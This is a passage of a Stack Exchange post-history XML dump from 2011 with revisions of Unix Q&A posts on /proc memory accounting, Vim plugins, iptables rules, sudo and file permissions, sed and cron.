for example:&#xD;&#xA;&#xD;&#xA;    perl -a -n -F'/[],]\s+/' -e 'print $F[1], &quot;\n&quot;' cities&#xD;&#xA;&#xD;&#xA;This way obviously assumes that no field will contain any of the delimiters." />
  <row Id="28897" PostHistoryTypeId="2" PostId="11867" RevisionGUID="7ab76b3c-53dd-4e06-ac47-e04579ba7d3b" CreationDate="2011-04-23T07:34:34.587" UserId="3169" Text="`ps` is the simplest interface to the information in `/proc`.&#xD;&#xA;&#xD;&#xA;Here's one way to list per user memory:&#xD;&#xA;&#xD;&#xA;    $ ps -e -o uid,vsz | awk '&#xD;&#xA;    { usage[$1] += $2 }&#xD;&#xA;    END { for (uid in usage) { print uid, &quot;:&quot;, usage[uid] } }'&#xD;&#xA;&#xD;&#xA;If you really want to use proc, I would suggest using something like Python or Perl to iterate once over `/proc/*/status`, and store the user/usage key/value pair in a hash.&#xD;&#xA;&#xD;&#xA;The relevant fields of `/proc/PID/status` appear to be:&#xD;&#xA;&#xD;&#xA;    Uid:    500     500     500     500&#xD;&#xA;    VmSize:     1234 kB&#xD;&#xA;&#xD;&#xA;I'm not sure which number means which.  They will be real uid, effective uid, saved uid, and fs uid, or similar.&#xD;&#xA;&#xD;&#xA;Full details will be in [the /proc filesystem documentation](http://www.kernel.org/doc/Documentation/filesystems/proc.txt).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28898" PostHistoryTypeId="5" PostId="11867" RevisionGUID="fa447805-f0d2-4a8b-8873-7733597661e7" CreationDate="2011-04-23T07:52:11.363" UserId="3169" Comment="added 863 characters in body" Text="`ps` is the simplest interface to the information in `/proc`.&#xD;&#xA;&#xD;&#xA;Here's one way to list per user memory:&#xD;&#xA;&#xD;&#xA;    $ ps -e -o uid,vsz | awk '&#xD;&#xA;    { usage[$1] += $2 }&#xD;&#xA;    END { for (uid in usage) { print uid, &quot;:&quot;, usage[uid] } }'&#xD;&#xA;&#xD;&#xA;If you really want to use proc, I would suggest using something like Python or Perl to iterate once over `/proc/*/status`, and store the user/usage key/value pair in a hash.&#xD;&#xA;&#xD;&#xA;The relevant fields of `/proc/PID/status` appear to be:&#xD;&#xA;&#xD;&#xA;    Uid:    500     500     500     500&#xD;&#xA;    VmSize:     1234 kB&#xD;&#xA;&#xD;&#xA;So something like this should work:&#xD;&#xA;&#xD;&#xA;    import os&#xD;&#xA;    import sys&#xD;&#xA;    import glob&#xD;&#xA;&#xD;&#xA;    # uid=&gt;vsz in KB&#xD;&#xA;    usermem = {}&#xD;&#xA;&#xD;&#xA;    os.chdir('/proc')&#xD;&#xA;    for file in glob.glob('[0-9]*'):&#xD;&#xA;        with open(os.path.join(file, 'status')) as status:&#xD;&#xA;            uid = None&#xD;&#xA;            mem = None&#xD;&#xA;            for line in status:&#xD;&#xA;                if line.startswith('Uid:'):&#xD;&#xA;                    label, uid1, uid2, uid3, uid4 = line.split()&#xD;&#xA;                    uid = int(uid1)&#xD;&#xA;                elif line.startswith('VmSize:'):&#xD;&#xA;                    label, value, units = line.split()&#xD;&#xA;                    mem = int(value)&#xD;&#xA;            if uid and mem:&#xD;&#xA;                if uid not in usermem:&#xD;&#xA;                    usermem[uid] = 0&#xD;&#xA;                usermem[uid] += mem&#xD;&#xA;&#xD;&#xA;    for uid in usermem:&#xD;&#xA;        print '%d:%d' % (uid,usermem[uid])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But I'm not sure which uid you want.  The four numbers will be real uid, effective uid, saved uid, and fs uid, but I'm not sure of the order.  Full details will be in [the /proc filesystem documentation](http://www.kernel.org/doc/Documentation/filesystems/proc.txt)." />
  <row Id="28899" PostHistoryTypeId="5" PostId="11867" RevisionGUID="83ef3844-8abf-42f4-90d4-786bff009c35" CreationDate="2011-04-23T07:58:34.340" UserId="3169" Comment="added 443 characters in body; added 52 characters in body" Text="`ps` is the simplest interface to the information in `/proc`.&#xD;&#xA;&#xD;&#xA;Here's one way to list per user memory:&#xD;&#xA;&#xD;&#xA;    $ ps -e -o uid,vsz | awk '&#xD;&#xA;    { usage[$1] += $2 }&#xD;&#xA;    END { for (uid in usage) { print uid, &quot;:&quot;, usage[uid] } }'&#xD;&#xA;&#xD;&#xA;If you really want to use proc, I would suggest using something like Python or Perl to iterate once over `/proc/*/status`, and store the user/usage key/value pair in a hash.&#xD;&#xA;&#xD;&#xA;The relevant fields of `/proc/PID/status` appear to be:&#xD;&#xA;&#xD;&#xA;    Uid:    500     500     500     500&#xD;&#xA;    VmSize:     1234 kB&#xD;&#xA;&#xD;&#xA;I think the four Uid numbers are real uid, effective uid, saved uid, and fs uid.&#xD;&#xA;&#xD;&#xA;Assuming you want real uid, something like this should work:&#xD;&#xA;&#xD;&#xA;    import os&#xD;&#xA;    import sys&#xD;&#xA;    import glob&#xD;&#xA;&#xD;&#xA;    # uid=&gt;vsz in KB&#xD;&#xA;    usermem = {}&#xD;&#xA;&#xD;&#xA;    os.chdir('/proc')&#xD;&#xA;    for file in glob.glob('[0-9]*'):&#xD;&#xA;        with open(os.path.join(file, 'status')) as status:&#xD;&#xA;            uid = None&#xD;&#xA;            mem = None&#xD;&#xA;            for line in status:&#xD;&#xA;                if line.startswith('Uid:'):&#xD;&#xA;                    label, uid1, uid2, uid3, uid4 = line.split()&#xD;&#xA;                    uid = int(uid1)&#xD;&#xA;                elif line.startswith('VmSize:'):&#xD;&#xA;                    label, value, units = line.split()&#xD;&#xA;                    mem = int(value)&#xD;&#xA;            if uid and mem:&#xD;&#xA;                if uid not in usermem:&#xD;&#xA;                    usermem[uid] = 0&#xD;&#xA;                usermem[uid] += mem&#xD;&#xA;&#xD;&#xA;    for uid in usermem:&#xD;&#xA;        print '%d:%d' % (uid,usermem[uid])&#xD;&#xA;&#xD;&#xA;CPU is much harder.&#xD;&#xA;&#xD;&#xA;The ps(1) man page says:&#xD;&#xA;&#xD;&#xA;&gt;        CPU usage is currently expressed as the percentage of time spent&#xD;&#xA;       running during the entire lifetime of a process. This is not ideal,&#xD;&#xA;       and it does not conform to the standards that ps otherwise conforms to.&#xD;&#xA;       CPU usage is unlikely to add up to exactly 100%.&#xD;&#xA;&#xD;&#xA;So I'm not sure.  Maybe look at `top` to see how it handles it.  Or you could run `ps -e -o uid,pid,elapsed` twice at a given interval, and subtract the two times, or something.&#xD;&#xA;&#xD;&#xA;Or install something that's better for this purpose, such as [process accounting](http://tldp.org/HOWTO/Process-Accounting/pa.html)." />
  <row Id="28900" PostHistoryTypeId="5" PostId="11867" RevisionGUID="5796b03b-486f-4044-b9a9-98f9271d662d" CreationDate="2011-04-23T08:05:20.233" UserId="3169" Comment="added 306 characters in body; deleted 2 characters in body" Text="`ps` is the simplest interface to the information in `/proc`.&#xD;&#xA;&#xD;&#xA;Here's one way to list per user memory:&#xD;&#xA;&#xD;&#xA;    $ ps -e -o uid,vsz | awk '&#xD;&#xA;    { usage[$1] += $2 }&#xD;&#xA;    END { for (uid in usage) { print uid, &quot;:&quot;, usage[uid] } }'&#xD;&#xA;&#xD;&#xA;If you really want to use proc, I would suggest using something like Python or Perl to iterate once over `/proc/*/status`, and store the user/usage key/value pair in a hash.&#xD;&#xA;&#xD;&#xA;The relevant fields of `/proc/PID/status` appear to be:&#xD;&#xA;&#xD;&#xA;    Uid:    500     500     500     500&#xD;&#xA;    VmSize:     1234 kB&#xD;&#xA;&#xD;&#xA;I think the four Uid numbers are real uid, effective uid, saved uid, and fs uid.&#xD;&#xA;&#xD;&#xA;Assuming you want real uid, something like this should work:&#xD;&#xA;&#xD;&#xA;    # print uid and the total memory (including virtual memory) in use by that user&#xD;&#xA;    # TODO add error handling, e.g. not Linux, values not in kB, values not ints, etc.&#xD;&#xA;&#xD;&#xA;    import os&#xD;&#xA;    import sys&#xD;&#xA;    import glob&#xD;&#xA;&#xD;&#xA;    # uid=&gt;vsz in KB&#xD;&#xA;    usermem = {}&#xD;&#xA;&#xD;&#xA;    # obtain information from Linux /proc file system&#xD;&#xA;    # http://www.kernel.org/doc/man-pages/online/pages/man5/proc.5.html&#xD;&#xA;    os.chdir('/proc')&#xD;&#xA;    for file in glob.glob('[0-9]*'):&#xD;&#xA;        with open(os.path.join(file, 'status')) as status:&#xD;&#xA;            uid = None&#xD;&#xA;            mem = None&#xD;&#xA;            for line in status:&#xD;&#xA;                if line.startswith('Uid:'):&#xD;&#xA;                    label, ruid, euid, suid, fsuid = line.split()&#xD;&#xA;                    uid = int(ruid)&#xD;&#xA;                elif line.startswith('VmSize:'):&#xD;&#xA;                    label, value, units = line.split()&#xD;&#xA;                    mem = int(value)&#xD;&#xA;            if uid and mem:&#xD;&#xA;                if uid not in usermem:&#xD;&#xA;                    usermem[uid] = 0&#xD;&#xA;                usermem[uid] += mem&#xD;&#xA;&#xD;&#xA;    for uid in usermem:&#xD;&#xA;        print '%d:%d' % (uid,usermem[uid])&#xD;&#xA;&#xD;&#xA;CPU is much harder.&#xD;&#xA;&#xD;&#xA;The ps(1) man page says:&#xD;&#xA;&#xD;&#xA;&gt;        CPU usage is currently expressed as the percentage of time spent&#xD;&#xA;       running during the entire lifetime of a process. This is not ideal,&#xD;&#xA;       and it does not conform to the standards that ps otherwise conforms to.&#xD;&#xA;       CPU usage is unlikely to add up to exactly 100%.&#xD;&#xA;&#xD;&#xA;So I'm not sure.  Maybe look at `top` to see how it handles it.  Or you could run `ps -e -o uid,pid,elapsed` twice at a given interval, and subtract the two times, or something.&#xD;&#xA;&#xD;&#xA;Or install something that's better for this purpose, such as [process accounting](http://tldp.org/HOWTO/Process-Accounting/pa.html)." />
  <row Id="28901" PostHistoryTypeId="2" PostId="11868" RevisionGUID="75e88444-5176-4245-82dc-4f8e5f0b717f" CreationDate="2011-04-23T08:12:37.313" UserId="3169" Text="If that is the cause, try only running that `autocmd` line if NERDtree is available.&#xD;&#xA;&#xD;&#xA;Looking at `plugin/NERD_tree.vim`, the first thing it does is define&#xD;&#xA;&#xD;&#xA;    let s:NERD_tree_version = '4.1.0'&#xD;&#xA;&#xD;&#xA;shortly followed by&#xD;&#xA;&#xD;&#xA;    let loaded_nerd_tree = 1&#xD;&#xA;&#xD;&#xA;The [vim documentation](http://vimdoc.sourceforge.net/htmldoc/eval.html#exists()) says there is a function `exists()` that sounds like it can tell us if `loaded_nerd_tree` has been defined:&#xD;&#xA;&#xD;&#xA;&gt;  exists({expr})	The result is a Number, which is non-zero if {expr} is&#xD;&#xA;		defined, zero otherwise.  The {expr} argument is a string,&#xD;&#xA;		which contains one of these:&#xD;&#xA;&#xD;&#xA;So try something like this in your `.vimrc`:&#xD;&#xA;&#xD;&#xA;    if exists(&quot;loaded_nerd_tree&quot;)&#xD;&#xA;        autocmd VimEnter * NERDTree&#xD;&#xA;    endif&#xD;&#xA;" />
  <row Id="28902" PostHistoryTypeId="5" PostId="11868" RevisionGUID="5c971fa8-c3d6-4777-84d5-df095aba8df4" CreationDate="2011-04-23T08:26:08.460" UserId="3169" Comment="deleted 546 characters in body; added 4 characters in body; edited body" Text="The correct fix is to move &#xD;&#xA;&#xD;&#xA;    autocmd VimEnter * NERDTree&#xD;&#xA;&#xD;&#xA;out of your `~/.vimrc` and into `~/.vim/after/plugin/NERD_tree.vim`.&#xD;&#xA;&#xD;&#xA;That way, the autocmd only gets run if NERD_tree has also been loaded." />
  <row Id="28903" PostHistoryTypeId="2" PostId="11869" RevisionGUID="94f1bbf0-9df7-4e98-ae2d-720649619cf5" CreationDate="2011-04-23T08:27:59.833" UserId="6882" Text="I have the exact same problem on an Asus P8P67-M Pro with i5-2500K and an Nvidia GT210. Entry into suspend is fast, but resuming causes beeps and 2-3 reboots with the machine being completely stuck. There is no video signal after resuming at all.&#xD;&#xA;&#xD;&#xA;I tried Archlinux with kernels 2.6.33 and 2.6.38.2, Ubuntu 10.04, Ubuntu 11.04 beta2 and Fedora 15, but none worked." />
  <row Id="28904" PostHistoryTypeId="5" PostId="11868" RevisionGUID="fd849818-b63d-40b1-92ed-5cb5256ee884" CreationDate="2011-04-23T08:36:35.290" UserId="3169" Comment="added 254 characters in body" Text="The correct fix is to move &#xD;&#xA;&#xD;&#xA;    autocmd VimEnter * NERDTree&#xD;&#xA;&#xD;&#xA;out of your `~/.vimrc` and into `~/.vim/after/plugin/NERD_tree.vim`.&#xD;&#xA;&#xD;&#xA;That way, the autocmd only gets run if NERD_tree has also been loaded.&#xD;&#xA;&#xD;&#xA;And to be more correct, you should probably make it&#xD;&#xA;&#xD;&#xA;    if exists(&quot;loaded_nerd_tree&quot;)&#xD;&#xA;        echo 'loaded_nerd_tree' . loaded_nerd_tree&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;that way if the plugin is uninstalled, your `after` script won't still try to use the plugin.&#xD;&#xA;" />
  <row Id="28905" PostHistoryTypeId="25" PostId="11864" RevisionGUID="80730912-4885-4d6b-bc45-60392010d001" CreationDate="2011-04-23T09:09:10.710" Comment="http://twitter.com/#!/StackUnix/status/61718244016394240" />
  <row Id="28906" PostHistoryTypeId="2" PostId="11870" RevisionGUID="c89220dc-8a66-489c-9573-c1c4e6289869" CreationDate="2011-04-23T09:41:28.237" UserId="29" Text="I wrote a [blog post on basic Iptables rules for the desktop user](http://www.xenoterracide.com/2008/04/iptables-for-average-desktop-user.html) a long time ago and you should probably read it, and its [linked article](http://www.gentoo.org/doc/en/articles/linux-24-stateful-fw-design.xml). But pre kernel 2.6.39 (which includes `ipset` and you may want to use that for whitelisting IP's if you have more than 10 to whitelist (where 10 is arbitrary)).&#xD;&#xA;&#xD;&#xA;First handle state's that we know we want to accept or drop, and interfaces.&#xD;&#xA;&#xD;&#xA;    iptables -P FORWARD DROP # we aren't a router&#xD;&#xA;    iptables -A INPUT -m state --state INVALID -j DROP&#xD;&#xA;    iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;    iptables -A INPUT -i lo -j ACCEPT&#xD;&#xA;    iptables -A INPUT -s 192.168.1.1 -j ACCEPT&#xD;&#xA;    iptables -P INPUT DROP # Drop everything we don't accept&#xD;&#xA;&#xD;&#xA;If you just want to do an allow by IP only, without state&#xD;&#xA;&#xD;&#xA;    iptables -A INPUT -s 192.168.1.1 -j ACCEPT&#xD;&#xA;    iptables -A OUTPUT -d 192.168.1.1 -j ACCEPT&#xD;&#xA;    iptables -P INPUT DROP&#xD;&#xA;    iptables -P OUTPUT DROP&#xD;&#xA;&#xD;&#xA;you are likely to run into problems doing this though, and I suggest using state to make your life easier. For example, not allowing `-i lo` and `-o lo` will certainly cause problems for certain applications." />
  <row Id="28907" PostHistoryTypeId="6" PostId="11851" RevisionGUID="8f475310-226c-4e2a-9408-af4fa5c8c83e" CreationDate="2011-04-23T09:44:01.197" UserId="29" Comment="add firewall tag" Text="élinuxàéiptablesàéfirewallà" />
  <row Id="28908" PostHistoryTypeId="5" PostId="11870" RevisionGUID="99630c70-0c7b-4e64-adfd-9481c1a8cb8c" CreationDate="2011-04-23T09:48:34.340" UserId="29" Comment="rename the link to the drobbins article" Text="I wrote a [blog post on basic Iptables rules for the desktop user](http://www.xenoterracide.com/2008/04/iptables-for-average-desktop-user.html) a long time ago and you should probably read it, and its linked article on [Stateful firewall design](http://www.gentoo.org/doc/en/articles/linux-24-stateful-fw-design.xml). But pre kernel 2.6.39 (which includes `ipset` and you may want to use that for whitelisting IP's if you have more than 10 to whitelist (where 10 is arbitrary)).&#xD;&#xA;&#xD;&#xA;First handle state's that we know we want to accept or drop, and interfaces.&#xD;&#xA;&#xD;&#xA;    iptables -P FORWARD DROP # we aren't a router&#xD;&#xA;    iptables -A INPUT -m state --state INVALID -j DROP&#xD;&#xA;    iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xD;&#xA;    iptables -A INPUT -i lo -j ACCEPT&#xD;&#xA;    iptables -A INPUT -s 192.168.1.1 -j ACCEPT&#xD;&#xA;    iptables -P INPUT DROP # Drop everything we don't accept&#xD;&#xA;&#xD;&#xA;If you just want to do an allow by IP only, without state&#xD;&#xA;&#xD;&#xA;    iptables -A INPUT -s 192.168.1.1 -j ACCEPT&#xD;&#xA;    iptables -A OUTPUT -d 192.168.1.1 -j ACCEPT&#xD;&#xA;    iptables -P INPUT DROP&#xD;&#xA;    iptables -P OUTPUT DROP&#xD;&#xA;&#xD;&#xA;you are likely to run into problems doing this though, and I suggest using state to make your life easier. For example, not allowing `-i lo` and `-o lo` will certainly cause problems for certain applications." />
  <row Id="28909" PostHistoryTypeId="2" PostId="11871" RevisionGUID="cd881394-ab1a-4a20-87ef-d958e7aeaee7" CreationDate="2011-04-23T10:45:26.987" UserId="3125" Text="A lot of the time I edit a file with nano, try to save and get a permission error because I forgot to run it as sudo. Is there some quick way I can become sudo without having to re-open and re-edit the file?" />
  <row Id="28910" PostHistoryTypeId="1" PostId="11871" RevisionGUID="cd881394-ab1a-4a20-87ef-d958e7aeaee7" CreationDate="2011-04-23T10:45:26.987" UserId="3125" Text="Is it possible to save as sudo from nano after you've forgotten to run as sudo?" />
  <row Id="28911" PostHistoryTypeId="3" PostId="11871" RevisionGUID="cd881394-ab1a-4a20-87ef-d958e7aeaee7" CreationDate="2011-04-23T10:45:26.987" UserId="3125" Text="écommandölineàésudoà" />
  <row Id="28912" PostHistoryTypeId="2" PostId="11872" RevisionGUID="33b6d89b-1de8-44d2-9e94-5148dc6f0201" CreationDate="2011-04-23T10:50:30.530" UserId="1925" Text="No, you can't give a running program permissions that it doesn't have when it starts, that would be the security hole known as 'privilege escalation'.&#xD;&#xA;&#xD;&#xA;Two things you can do:&#xD;&#xA;&#xD;&#xA;1. Save to a temporary file in /tmp or wherever, close the editor, then dump the contents of temp file into the file you were editing. `cat TMPFILE &gt; FILE`. Note that it is not recomended to use `mv` for this because of the change in file ownership and permissions it is likely to cause, you just want to replace the file content not the file placeholder itself. &#xD;&#xA;1. Background the editor with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;z&lt;/kbd&gt;, change the file ownership or permissions so you can write to it, then use `fg` to get back to the editor and save. Don't forget to fix the permissions!" />
  <row Id="28913" PostHistoryTypeId="2" PostId="11873" RevisionGUID="63583c42-3737-448f-bac1-85615cbb15bc" CreationDate="2011-04-23T11:03:11.720" UserId="6884" Text="I installed 'linux-patch-grsecurity2' and it has some sort of interface.&#xD;&#xA;&#xD;&#xA;    ~$ sudo gradm2&#xD;&#xA;    gradm 2.1.14&#xD;&#xA;    grsecurity administration program&#xD;&#xA;    &#xD;&#xA;    Usage: gradm [option] ...&#xD;&#xA;    &#xD;&#xA;    Examples:&#xD;&#xA;            gradm -P&#xD;&#xA;            gradm -F -L /etc/grsec/learning.logs -O /etc/grsec/policy&#xD;&#xA;    Options:&#xD;&#xA;            -E, --enable    Enable the grsecurity RBAC system&#xD;&#xA;            -D, --disable   Disable the grsecurity RBAC system&#xD;&#xA;            -C, --check     Check RBAC policy for errors&#xD;&#xA;            -S, --status    Check status of RBAC system&#xD;&#xA;            -F, --fulllearn Enable full system learning&#xD;&#xA;            -P [rolename], --passwd&#xD;&#xA;                            Create password for RBAC administration&#xD;&#xA;                            or a special role&#xD;&#xA;            -R, --reload    Reload the RBAC system while in admin mode&#xD;&#xA;            -L &lt;filename&gt;, --learn&#xD;&#xA;                            Specify the pathname for learning logs&#xD;&#xA;            -O &lt;filename&gt;, --output&#xD;&#xA;                            Specify where to place policies generated from&#xD;&#xA;                            learning mode&#xD;&#xA;            -M &lt;filename|uid&gt;, --modsegv&#xD;&#xA;                            Remove a ban on a specific file or UID&#xD;&#xA;            -a &lt;rolename&gt; , --auth&#xD;&#xA;                            Authenticates to a special role that requires auth&#xD;&#xA;            -u, --unauth    Remove yourself from your current special role&#xD;&#xA;            -n &lt;rolename&gt; , --noauth&#xD;&#xA;                            Transitions to a special role that doesn't&#xD;&#xA;                            require authentication&#xD;&#xA;            -p &lt;rolename&gt; , --pamauth&#xD;&#xA;                            Authenticates to a special role through PAM&#xD;&#xA;            -V, --verbose   Display verbose policy statistics when enabling system&#xD;&#xA;            -h, --help      Display this help&#xD;&#xA;            -v, --version   Display version information&#xD;&#xA;&#xD;&#xA;I didn't successfully find any documentation on how to use it to limit the 'ps aux' list for users?&#xD;&#xA;" />
  <row Id="28914" PostHistoryTypeId="1" PostId="11873" RevisionGUID="63583c42-3737-448f-bac1-85615cbb15bc" CreationDate="2011-04-23T11:03:11.720" UserId="6884" Text="I don't want other users see my processes in ps aux. I have root. It's Debian. How to use grsec?" />
  <row Id="28915" PostHistoryTypeId="3" PostId="11873" RevisionGUID="63583c42-3737-448f-bac1-85615cbb15bc" CreationDate="2011-04-23T11:03:11.720" UserId="6884" Text="édebianàésecurityà" />
  <row Id="28916" PostHistoryTypeId="2" PostId="11874" RevisionGUID="07333901-e3a9-4d56-8df6-47c902b2a6a0" CreationDate="2011-04-23T11:32:15.197" UserId="6884" Text="What user and group should I chown it to? All admins are in 'admins' group. How do I chmod it?" />
  <row Id="28917" PostHistoryTypeId="1" PostId="11874" RevisionGUID="07333901-e3a9-4d56-8df6-47c902b2a6a0" CreationDate="2011-04-23T11:32:15.197" UserId="6884" Text="How do I make a certain command sudo-only on Debian?" />
  <row Id="28918" PostHistoryTypeId="3" PostId="11874" RevisionGUID="07333901-e3a9-4d56-8df6-47c902b2a6a0" CreationDate="2011-04-23T11:32:15.197" UserId="6884" Text="édebianàésecurityàésudoà" />
  <row Id="28919" PostHistoryTypeId="2" PostId="11875" RevisionGUID="4e8feef0-6e6c-4377-ac78-7426aa2696de" CreationDate="2011-04-23T11:37:05.467" UserId="1925" Text="Most likely you just need to remove the world-executable permission:&#xD;&#xA;&#xD;&#xA;    sudo chmod o-x $(which command)&#xD;&#xA;&#xD;&#xA;If the binary is owned by some group other than root, you probably want to set that to:&#xD;&#xA;&#xD;&#xA;    sudo chgrp root $(which command)" />
  <row Id="28920" PostHistoryTypeId="4" PostId="11823" RevisionGUID="f85fac80-8b04-4e94-bb63-678400bd663f" CreationDate="2011-04-23T11:50:51.083" UserId="6766" Comment="edited title" Text="Inability to use IPv4-mapped IPv6 on debian squeeze" />
  <row Id="28921" PostHistoryTypeId="25" PostId="11874" RevisionGUID="10475229-96ba-4766-ba36-d8bb72b06435" CreationDate="2011-04-23T12:09:10.720" Comment="http://twitter.com/#!/StackUnix/status/61763543128752128" />
  <row Id="28922" PostHistoryTypeId="6" PostId="11873" RevisionGUID="8a2bb837-17ec-4530-a49f-7c34fa0baca7" CreationDate="2011-04-23T12:32:33.240" UserId="885" Comment="edited tags" Text="élinuxàésecurityàéprocessàégrsecurityà" />
  <row Id="28923" PostHistoryTypeId="2" PostId="11876" RevisionGUID="9f9477a3-3813-4c43-bbad-b07a10bcbd8d" CreationDate="2011-04-23T14:35:20.210" UserId="2504" Text="I need to fix an error and to replace the second tag &lt;/time&gt; with &lt;/tags) in a xml file with the following structure:&#xD;&#xA;&#xD;&#xA;&lt;time&gt;20260664&lt;/time&gt;&#xD;&#xA;&lt;tags&gt;substancesummit ss&lt;/time&gt;&#xD;&#xA;&lt;geo&gt;asdsadsa&lt;/geo&gt;&#xD;&#xA;&lt;time&gt;20260664&lt;/time&gt;&#xD;&#xA;&lt;tags&gt;substancesummit ss&lt;/time&gt;&#xD;&#xA;&lt;geo&gt;asdsadsa&lt;/geo&gt;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;I'm trying to do it using sed and since I have 2 &lt;/time&gt; closing tag per item, my idea is to replace &lt;/time&gt;&lt;geo&gt; with &lt;/tags&gt;&lt;geo&gt;.&#xD;&#xA;&#xD;&#xA;However there is a next line symbol in between, so I'm using &quot;\n&quot; but it doesn't work:&#xD;&#xA;&#xD;&#xA;    sed 's/time&gt;\n&lt;geo&gt;/tags&gt;\n&lt;geo&gt;/g' old.xml &gt; new.xml&#xD;&#xA;&#xD;&#xA;any help ?&#xD;&#xA;" />
  <row Id="28924" PostHistoryTypeId="1" PostId="11876" RevisionGUID="9f9477a3-3813-4c43-bbad-b07a10bcbd8d" CreationDate="2011-04-23T14:35:20.210" UserId="2504" Text="Sed: how to replace nextline \n symbol in text files ?" />
  <row Id="28925" PostHistoryTypeId="3" PostId="11876" RevisionGUID="9f9477a3-3813-4c43-bbad-b07a10bcbd8d" CreationDate="2011-04-23T14:35:20.210" UserId="2504" Text="étextöprocessingàésedà" />
  <row Id="28926" PostHistoryTypeId="5" PostId="11876" RevisionGUID="e148d7c6-8e04-40ed-a469-bcce217ee131" CreationDate="2011-04-23T14:47:02.117" UserId="885" Comment="formatting" Text="I need to fix an error and to replace the second tag `&lt;/time&gt;` with `&lt;/tags&gt; in an XML file with the following structure:&#xD;&#xA;&#xD;&#xA;    &lt;time&gt;20260664&lt;/time&gt;&#xD;&#xA;    &lt;tags&gt;substancesummit ss&lt;/time&gt;&#xD;&#xA;    &lt;geo&gt;asdsadsa&lt;/geo&gt;&#xD;&#xA;    &lt;time&gt;20260664&lt;/time&gt;&#xD;&#xA;    &lt;tags&gt;substancesummit ss&lt;/time&gt;&#xD;&#xA;    &lt;geo&gt;asdsadsa&lt;/geo&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm trying to do it using sed and since I have 2 `&lt;/time&gt;` closing tag per item, my idea is to replace `&lt;/time&gt;&lt;geo&gt;` with `&lt;/tags&gt;&lt;geo&gt;`.&#xD;&#xA;&#xD;&#xA;However there is a next line symbol in between, so I'm using `\n` but it doesn't work:&#xD;&#xA;&#xD;&#xA;    sed 's/time&gt;\n&lt;geo&gt;/tags&gt;\n&lt;geo&gt;/g' old.xml &gt; new.xml&#xD;&#xA;&#xD;&#xA;Any help?&#xD;&#xA;" />
  <row Id="28927" PostHistoryTypeId="2" PostId="11877" RevisionGUID="b0165620-427b-41b0-88b8-f8d5bc2fb5d2" CreationDate="2011-04-23T14:47:09.840" UserId="6887" Text="I have the following cron tab installed:&#xD;&#xA;&#xD;&#xA;    crontab -l&#xD;&#xA;    # m h  dom mon dow   command&#xD;&#xA;    */10 * * * * &quot;echo&quot; &gt;&gt; /tmp/cron.log&#xD;&#xA;&#xD;&#xA;the server is at rackspace, it's a cloud server:&#xD;&#xA;&#xD;&#xA;    Linux myserver #8 SMP Mon Sep 20 15:54:33 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;    Ubuntu 10.04 LTS&#xD;&#xA;&#xD;&#xA;when I added this entry to the crontab using crontab -e I got the following message when I saved it:&#xD;&#xA;&#xD;&#xA;    crontab: installing new crontab&#xD;&#xA;&#xD;&#xA;but it's not being executed, what is missing?" />
  <row Id="28928" PostHistoryTypeId="1" PostId="11877" RevisionGUID="b0165620-427b-41b0-88b8-f8d5bc2fb5d2" CreationDate="2011-04-23T14:47:09.840" UserId="6887" Text="cron now executing?" />
  <row Id="28929" PostHistoryTypeId="3" PostId="11877" RevisionGUID="b0165620-427b-41b0-88b8-f8d5bc2fb5d2" CreationDate="2011-04-23T14:47:09.840" UserId="6887" Text="éubuntuàécronà" />
  <row Id="28930" PostHistoryTypeId="2" PostId="11878" RevisionGUID="a85e8d64-198f-4b7d-b331-21f659a67a1e" CreationDate="2011-04-23T14:56:30.147" UserId="885" Text="Sed processes its input line by line, so a newline character will never spontaneously appear in the input. What you could do is put lines ending in `&lt;/time` on hold; then if the next line begins with `&lt;geo&gt;`, do the substitution in the previous line. (This is possible in sed, using the “hold space”, but I recommend turning to awk or perl when you need the hold space.)&#xD;&#xA;&#xD;&#xA;However, given your sample input, you can just change `&lt;/time&gt;` into `&lt;/tags&gt;` when the line begins with `&lt;tags&gt;`.&#xD;&#xA;&#xD;&#xA;    sed -e '/^&lt;tags&gt;/ s!&lt;/time&gt;$!&lt;/tags&gt;!'&#xD;&#xA;" />
  <row Id="28931" PostHistoryTypeId="25" PostId="11876" RevisionGUID="5a5b98e7-b432-4051-8206-1d39ecef4e75" CreationDate="2011-04-23T15:09:10.620" Comment="http://twitter.com/#!/StackUnix/status/61808841616146432" />
  <row Id="28932" PostHistoryTypeId="5" PostId="11877" RevisionGUID="2cd67795-8f4c-49f7-88bb-85655104bdf7" CreationDate="2011-04-23T15:11:01.917" UserId="2421" Comment="fixed typos" Text="I have the following cron tab installed:&#xD;&#xA;&#xD;&#xA;    crontab -l&#xD;&#xA;    # m h  dom mon dow   command&#xD;&#xA;    */10 * * * * &quot;echo&quot; &gt;&gt; /tmp/cron.log&#xD;&#xA;&#xD;&#xA;The server is at rackspace, it's a cloud server:&#xD;&#xA;&#xD;&#xA;    Linux myserver #8 SMP Mon Sep 20 15:54:33 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;    Ubuntu 10.04 LTS&#xD;&#xA;&#xD;&#xA;When I added this entry to the crontab using `crontab -e` I got the following message when I saved it:&#xD;&#xA;&#xD;&#xA;    crontab: installing new crontab&#xD;&#xA;&#xD;&#xA;But it's not being executed, what is missing?" />
  <row Id="28933" PostHistoryTypeId="4" PostId="11877" RevisionGUID="2cd67795-8f4c-49f7-88bb-85655104bdf7" CreationDate="2011-04-23T15:11:01.917" UserId="2421" Comment="fixed typos" Text="cron not executing?" />
